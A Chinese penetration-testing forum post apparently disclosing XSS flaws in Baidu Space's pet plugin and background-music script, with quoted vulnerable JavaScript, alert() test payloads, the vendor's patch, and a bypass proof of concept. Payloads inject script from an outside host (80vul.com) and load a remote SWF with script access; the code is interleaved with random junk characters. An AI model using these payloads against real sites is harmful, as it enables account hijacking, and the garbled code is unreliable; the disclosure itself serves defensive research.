中国网络渗透测试联盟

标题: hi.baidu Xss 漏洞 [打印本页]

作者: admin    时间: 2013-8-24 11:51
标题: hi.baidu Xss 漏洞
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.  $ Y/ u1 s9 ^" E0 k& P

2 R. P6 c: D& A5 I1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.  
2 _2 h% ?+ H1 [6 l2.在http://hi.baidu.com/ui/scripts/pet/pet.js中  
* a" N( X8 E: w# R5 ]. G6 s+ }' [' O' A* s7 O, @) T
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>  
$ U; `5 ~5 B5 {其中BdUtil.insertWBR为  # C$ M8 i. h, q; e) {9 {
function(text, step) {  
  }3 ], {3 M1 o4 I2 ~    var textarea = textAreaCache || getContainer();  9 ]- ~" x* f0 N, R: B9 _6 h4 }
    if (!textarea) {  
4 I; y: Q' _5 {, |        return text;  2 x, c2 t. a% L" m: m: E9 z
    }  ! Z5 G6 S; \9 ]4 s3 M) W) O
    textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");  
, }8 L9 a- g& X9 T, o% G$ `( T    var string = textarea.value;  
  g/ @% n7 _6 T    var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");  
# B3 z9 }  p$ ?  e: k2 e    var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");  ) W* [. h9 b1 K& I( w7 c
    return result;  5 H. q5 w+ r& l5 E, f3 t/ J5 b
}  " S4 h/ D' j6 T$ E; R8 b" x
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.  4 {' [+ K& |; \; H) b. z+ z9 L
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>  
# [2 P) e& c6 Y) ^1 V1 r: a% H1 B   / h7 y& ]0 _9 Y
二:creatbgmusic() Dom-Xss Bug  ! P7 U) @$ ]0 J; R1 T3 e
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞  ) \* g6 J! _2 W6 F8 K
4 _: _% H) s  G2 K  M
http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:  
+ ~6 K. Y9 M  e
- J4 v2 r0 D: q, J% l  M0 u( ^. |function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {  
& L) ?4 J/ G" ^8 H; \' P$ m    //传入的murl赋值到bgmusic1和bgmusic2中  
0 c3 z1 H  f% t9 I$ s6 k2 g    //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1  
8 h! c# r' N/ a    var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\"  VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";  5 A. I) j& J, N7 u1 E
    if (musicnum <= 1) {  
( S# h) c9 Y4 q- [        bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";  
$ n, e! P. E1 R- ~    }  
" R  S8 ?- R3 @6 O1 P6 s    bgmusic1 += "</OBJECT>";  
  v# P: j  O9 ~! l8 s4 D: S    var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";  
/ _$ T, G4 ?' M8 y; E    if (musicnum <= 1) {  
- [6 X" U8 t7 |) X: U        bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";  + q! {7 R* U( u* r9 g
    }  
( }+ B' F5 P/ |) ^    bgmusic2 += "> </EMBED>";  
% O$ B  T$ B/ R9 G1 c* a2 N* Y    var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";  : O, O7 a! ]8 e" n  |: e* [
    var bgmus = detectWMP();  6 @8 ~6 y  o  y% J' Q9 n
    if (functype == "FckMusicHelper") {  / F) G: d* g$ v- F$ v
        if (bgmus.installed) {  9 Q; _# P" {+ p
            if (bgmus.type == "IE") {  7 o  O0 s; o& _7 N
                return bgmusic1;  
. l  L9 ]* A: l. K8 C; ^            } else if (bgmus.type == "NS") {  
$ J$ U  ~- y; h+ q                return bgmusic2;  
0 Y4 k1 _* ]. U- e% _0 D            }  
4 M3 S( ~8 u8 @7 U/ H, w& Q        } else {  
9 [$ M5 [' W0 w( m            return bgmusic3;  " _0 f: J" N" h, h+ F( ~: n, N
        }  
4 ?/ T& v$ x1 ]    } else {  
& A( q2 S% E* r: C; N) a        if (bgmus.installed) {  3 ]/ p4 d4 W8 i7 C$ O9 m* F
            //document.write 直接输出bgmusic变量 导致xss  % v# Q% Q3 ]# E8 {$ M9 O# X
            if (bgmus.type == "IE") {  ; g4 D* X, l& r
                document.write(bgmusic1);  ' E, m* d7 a4 I* C( ?( J4 R
            } else if (bgmus.type == "NS") {  ! t" j: v' G; @5 o# Z& H- t8 y
                document.write(bgmusic2);  4 H; ?( F( A9 S/ ]
            }    Y1 \+ d2 a* g9 v3 e8 a
        } else {  
& p* Q% R$ h4 V8 ^: H4 s            document.write(bgmusic3);  6 J$ @" D4 i1 \* x3 |
        }  
8 O" @9 r7 w) y- B* N: B        return "";  
* H; d& H" M3 e( ^1 v    }  
+ B* @+ n. M( L8 G4 I' p}  
- t3 @9 J% A7 w
, W  J, v1 E& R2 m, ]) ]/ u在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:  0 f  m' k5 x# e' U. O

7 Q. g! y2 Y9 n1 T( d- n# yfunction initBlogTextForFCK(){  
& D# O3 k2 L7 X//fck init music  
: v2 ^4 S: Z& K0 I) L* D9 Lif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}  
3 f6 z- G4 L) @% o# Y! U1 Gvar imgBox=document.getElementsByName(’musicName’);   //取得了文章中的所有name="musicName"的标签数组  $ e( V: P' n5 \+ d  A. X, G; z
var isAutoPlay=true;  5 z2 {: Y* c+ k; F
for(var i=0,n=imgBox.length;i<n;i++){  //然后遍历.  
9 V3 A$ \2 k. y/ Z  var img=imgBox;    j2 Z/ W8 U- G" d
  if(img.getAttribute(’rel’)){        
4 `5 z5 T) @) V+ b' d' f) V   var musicSrc=img.getAttribute(’rel’);    //取得标签中rel的值,赋值给musicSrc  
' y- y' Y7 }0 Y! u- i9 u  l7 t   var musicDiv = document.createElement("SPAN");  
' m  x+ p% G' y9 _' O; l   var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1);  //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]  
: D* |: n& k/ z* v7 E. q' M' i% }/ N     
. S! Q1 i4 m8 Z+ v      ..........................  6 q( \+ r7 N9 ]% b( H0 `1 L+ }  n
     4 _6 w& }6 I/ D- m' ]6 J& H
   //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.   
  M4 D! e" {1 {* ^# Y! t# T   var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  0 U0 B% E+ ]) w
   shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’);   img.replaceNode(musicDiv);  
0 v  I: }+ z. T3 I   musicDiv.innerHTML=shtml;  
8 f* o, P( ?# K: q- T/ c, g/ \   i--;n--;  + s8 d1 ]( X" ^+ j- n% K) B
  }  : A& C+ u+ d# d6 I1 E6 ^. d
}  
, E* i% i3 }$ v, l5 C6 @
. |$ f" T( q- Q( a5 J$ T% S+ L从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.  
( ?% ~; F3 |/ t   + F4 p+ }; U. ~% q9 O; C, R, B
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>  5 i5 j  Q* B3 ~1 H/ i$ \/ u5 t5 H

/ ]+ U2 D7 ?$ {# U等待官方补丁  0 ?: S& i- W: O. {6 X; K
9 i( J9 u4 [$ ?$ L
update 2010年5月13日   & {( g$ d8 x- z% r4 A4 o! V
- s% g6 [5 {5 R& ]
官方补丁:  
1 O4 C3 e) z" u2 d9 G' s4 S- g$ J& [: U8 |1 _4 K5 b# G; L3 G
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);  
& g6 z* m; p- v; k; Y/ I: P; P3 P4 k改为:  
, o  B2 i8 `$ H5 Ovar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);  
* v6 m- Y& W6 l' s7 S. \0 @0 L/ l; z7 P( N5 \! a( @' u6 k  g
update 2010年5月13日 21:50:37  
8 t1 E0 e" n; l5 F/ Q3 P. @( M: Y6 @4 R" ~8 i, \
补丁存在漏洞 没有过滤" 可以继续跨:  + X6 _/ C7 }5 y* |7 Z# z3 e0 x
7 ^9 e+ g% Q; ?# A
NEW POC:  
* n* q/ e5 a7 z! ?# b. P6 t" L
3 `! B8 j0 o- P; M& J<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
6 B# r/ I, J3 H" V& d# Z7 V0 Q" ~; Y- A+ ?0 k
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
- H6 G  _7 C! r" ` 3 f0 E$ ^; p* s





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2